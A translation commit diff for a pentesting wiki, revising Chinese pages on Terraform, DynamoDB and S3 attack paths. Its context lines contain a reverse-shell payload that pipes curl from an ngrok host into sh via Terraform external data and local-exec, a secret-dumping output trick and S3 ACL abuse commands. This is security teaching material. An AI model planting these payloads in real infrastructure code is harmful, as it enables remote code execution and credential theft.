Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin

This commit is contained in:
Translator
2025-01-05 21:08:31 +00:00
parent 5e4bce07a7
commit d4b5966ab5
3 changed files with 18 additions and 18 deletions

View File

@@ -6,11 +6,11 @@
[来自文档:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform 是一个 **基础设施即代码工具**,允许您在可读配置文件中定义 **云和本地资源**,这些文件可以版本控制、重用和共享。然后,您可以使用一致的工作流程来管理整个生命周期中所有基础设施。Terraform 可以管理低级组件,如计算、存储和网络资源,以及高级组件,如 DNS 条目和 SaaS 功能。
HashiCorp Terraform 是一个 **基础设施即代码工具**,允许您在可版本化、可重用和可共享的人类可读配置文件中定义 **云和本地资源**。然后,您可以使用一致的工作流程来整个生命周期中配置和管理所有基础设施。Terraform 可以管理低级组件,如计算、存储和网络资源,以及高级组件,如 DNS 条目和 SaaS 功能。
#### Terraform 如何工作?
Terraform 通过其应用程序编程接口 (APIs) 创建和管理云平台和其他服务上资源。提供程序使 Terraform 能够与几乎任何具有可访问 API 的平台或服务进行交互。
Terraform 通过其应用程序编程接口APIs)在云平台和其他服务上创建和管理资源。提供程序使 Terraform 能够与几乎任何具有可访问 API 的平台或服务进行交互。
![](<../images/image (177).png>)
@@ -20,7 +20,7 @@ HashiCorp 和 Terraform 社区已经编写了 **超过 1700 个提供程序**
- **编写:** 您定义资源,这些资源可能跨多个云提供商和服务。例如,您可能会创建一个配置,以在具有安全组和负载均衡器的虚拟私有云 (VPC) 网络中的虚拟机上部署应用程序。
- **计划:** Terraform 创建一个执行计划,描述它将根据现有基础设施和您的配置创建、更新或销毁的基础设施。
- **应用:** 批准后Terraform 按照正确的顺序执行提议的操作,尊重任何资源依赖关系。例如,如果您更新 VPC 的属性并更改该 VPC 中虚拟机的数量Terraform 将在扩展虚拟机之前重新创建 VPC。
- **应用:** 批准后Terraform 按照正确的顺序执行提议的操作,尊重任何资源依赖关系。例如,如果您更新 VPC 的属性并更改该 VPC 中虚拟机的数量Terraform 将在扩展虚拟机之前重新创建 VPC。
![](<../images/image (215).png>)
@@ -44,7 +44,7 @@ Terraform **没有暴露网页或网络服务的平台**,因此,妥协 terra
atlantis-security.md
{{#endref}}
如果您能够妥协一个 terraform 文件,则可以在某人执行 `terraform plan``terraform apply` 时以不同方式执行 RCE。
如果您能够妥协一个 terraform 文件,当有人执行 `terraform plan``terraform apply`,有不同的方法可以执行 RCE。
### Terraform plan
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
```
**使用自定义提供程序**
攻击者可以将一个 [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) 发送到 [Terraform Registry](https://registry.terraform.io/),然后将其添加到功能分支中的 Terraform 代码中[此处示例](https://alex.kaskaso.li/post/terraform-plan-rce)
攻击者可以将一个 [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) 发送到 [Terraform Registry](https://registry.terraform.io/),然后将其添加到功能分支中的 Terraform 代码中 ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce))
```javascript
terraform {
required_providers {
@@ -91,12 +91,12 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
```
您可以在 [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) 找到 rev shell 代码。
- 在外部资源中,使用 **ref** 功能来隐藏 **repo 中个分支的 terraform rev shell 代码**,类似于:`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- 在外部资源中,使用 **ref** 功能来隐藏 **repo 中个分支的 terraform rev shell 代码**,类似于:`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
将执行 Terraform apply 以应用所有更改,您也可以利用它通过注入 **一个恶意的 Terraform 文件与** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
您只需确保一些有效载荷,如以下内容,结束 `main.tf` 文件:
您只需确保一些有效载荷,如以下内容,结束 `main.tf` 文件
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -116,7 +116,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
## Secrets Dumps
您可以通过运行 `terraform apply` 来**转储 terraform 使用的秘密值**,方法是向 terraform 文件中添加如下内容:
您可以通过运行 `terraform apply` 来**转储 terraform 使用的秘密值**,方法是向 terraform 文件中添加类似的内容:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -124,7 +124,7 @@ value = nonsensitive(var.do_token)
```
## 滥用 Terraform 状态文件
如果您对 terraform 状态文件具有写入权限但无法更改 terraform 代码,[**这项研究**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) 提供了一些有趣的选项来利用该文件。即使您对配置文件具有写入权限,使用状态文件的向量通常更为隐蔽,因为您不会在 `git` 历史中留下痕迹。
如果您对 terraform 状态文件具有写入权限但无法更改 terraform 代码,[**这项研究**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) 提供了一些有趣的选项来利用该文件。即使您对配置文件具有写入权限,使用状态文件的方式通常更为隐蔽,因为您不会在 `git` 历史中留下痕迹。
### Terraform 中的 RCE配置文件注入
@@ -221,7 +221,7 @@ snyk iac test /path/to/terraform/code
**Checkov** 是一个用于基础设施即代码 (IaC) 的静态代码分析工具,同时也是一个用于图像和开源包的软件组成分析 (SCA) 工具。
它扫描使用 [Terraform](https://terraform.io/) 、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md) 、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md) 、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md) 、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md) 、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md) 、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md) 、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md) 、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md) 、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md) 、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md) 、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 或 [OpenTofu](https://opentofu.org/) 提供的云基础设施,并使用基于图的扫描检测安全和合规性错误配置。
它扫描使用 [Terraform](https://terraform.io/) 、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md) 、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md) 、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md) 、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md) 、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md) 、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md) 、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md) 、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md) 、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md) 、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md) 、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 或 [OpenTofu](https://opentofu.org/) 提供的云基础设施,并使用基于图的扫描检测安全和合规性错误配置。
它执行 [软件组成分析 (SCA) 扫描](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md),这是对开源包和图像进行的扫描,以查找常见漏洞和暴露 (CVE)。
```bash
@@ -230,14 +230,14 @@ checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
来自 [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` 是一个轻量级的、专注于安全和合规性的测试框架,针对 terraform 进行负面测试,以支持您的基础设施即代码
来自 [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` 是一个轻量级的、专注于安全和合规性的测试框架,针对 terraform 以启用基础设施即代码的负面测试能力
- **合规性:** 确保实施的代码遵循安全标准和您自己的自定义标准
- **行为驱动开发:** 我们几乎为所有事物都采用 BDD为什么不为 IaC 呢?
- **可移植:** 只需从 `pip` 安装或通过 `docker` 运行。请参见 [Installation](https://terraform-compliance.com/pages/installation/)
- **预部署:** 在代码部署之前进行验证
- **易于集成:** 它可以在您的管道中运行(或在 git hooks 中),以确保所有部署都经过验证。
- **职责分离:** 您可以将测试保存在不同的代码库中,由一个独立的团队负责。
- **职责分离:** 您可以将测试保存在不同的存储库中,由一个独立的团队负责。
> [!NOTE]
> 不幸的是,如果代码使用了一些您没有访问权限的提供者,您将无法执行 `terraform plan` 并运行此工具。
@@ -275,13 +275,13 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
来自[**文档**](https://github.com/tenable/terrascan)Terrascan是一个用于基础设施即代码的静态代码分析器。Terrascan允许您
来自 [**docs**](https://github.com/tenable/terrascan)Terrascan 是一个用于基础设施即代码的静态代码分析器。Terrascan 允许您:
- 无缝扫描基础设施即代码中的错误配置。
- 监控已配置的云基础设施的配置更改,以防止姿态漂移,并能够恢复到安全姿态。
- 检测安全漏洞和合规性违规。
- 在配置云原生基础设施之前减轻风险。
- 提供灵活性可以本地运行或与您的CI\CD集成。
- 提供灵活性,可以本地运行或与您的 CI\CD 集成。
```bash
brew install terrascan
```

View File

@@ -47,9 +47,9 @@ aws dynamodb get-resource-policy \
]
}
```
如果您需要自定义这里是所有可能的DynamoDB操作的列表[AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html)。这里是可以通过基于资源的策略允许的所有操作的列表 *以及这些操作中哪些可以跨账户使用(考虑数据外泄!)*[AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
如果您需要自定义这里是所有可能的DynamoDB操作的列表[AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html)。这里是可以通过基于资源的策略允许的所有操作的列表*以及这些操作中哪些可以跨账户使用(考虑数据外泄!)*[AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
现在,准备好策略文档 `policy.json`,放置资源策略:
现在,准备好策略文档`policy.json`,放置资源策略:
```bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
@@ -61,7 +61,7 @@ aws dynamodb put-resource-policy \
### 后期利用
据我所知,**仅通过拥有一些 AWS `dynamodb` 权限,没有其他直接的方法可以提升 AWS 中的权限**。您可以**从表中读取敏感**信息(可能包含 AWS 凭证)并**在表中写入信息**(这可能触发其他漏洞,例如 lambda 代码注入……),但所有这些选项已经在**DynamoDB 后期利用页面**中考虑过:
据我所知,**仅通过拥有一些 AWS `dynamodb` 权限,没有其他直接的方法可以提升权限**。您可以**从表中读取敏感**信息(可能包含 AWS 凭证)并**在表中写入信息**(这可能触发其他漏洞,例如 lambda 代码注入……),但所有这些选项在**DynamoDB 后期利用页面**中已经考虑过:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md

View File

@@ -123,7 +123,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
攻击者可以利用这些权限来**授予自己更多访问权限**,以便对特定的桶进行操作。\
攻击者可以利用这些权限来**授予自己对特定桶的更多访问权限**。\
请注意,攻击者不需要来自同一账户。此外,写入访问权限
```bash
# Update bucket ACL